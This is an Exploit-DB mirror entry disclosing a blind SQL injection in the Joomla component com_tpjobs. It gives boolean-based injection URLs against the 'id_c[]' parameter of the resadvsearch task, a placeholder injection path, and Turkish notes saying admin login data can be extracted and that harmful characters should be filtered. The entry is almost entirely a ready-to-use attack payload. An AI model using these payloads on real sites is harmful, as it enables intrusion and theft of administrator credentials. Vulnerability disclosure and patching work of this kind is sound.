exploit-db-mirror/exploits/php/webapps/10950.txt
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

31 lines
No EOL
989 B
Text

<------------------- header data start ------------------- >
#####################################################################
#Joomla Component com_tpjobs Blind SQL injection Vulnerability
#####################################################################
# author : FL0RiX
# Name : com_tpjobs
# Bug Type : (Blind) SQL Injection
# Infection : Admin login bilgileri al&#305;nabilir.
# Demo Vuln. :
TRUE(+)
» http://server/index.php?option=com_tpjobs&task=resadvsearch&keyword=&id_c[]=1 and 1=1
FALSE(-)
» http://server/index.php?option=com_tpjobs&task=resadvsearch&keyword=&id_c[]=1 and 1=0
# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.
#############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
path/index.php?option=com_tpjobs&task=resadvsearch&keyword=&id_c[]=[SQL INJ.]
< -- bug code end of -- >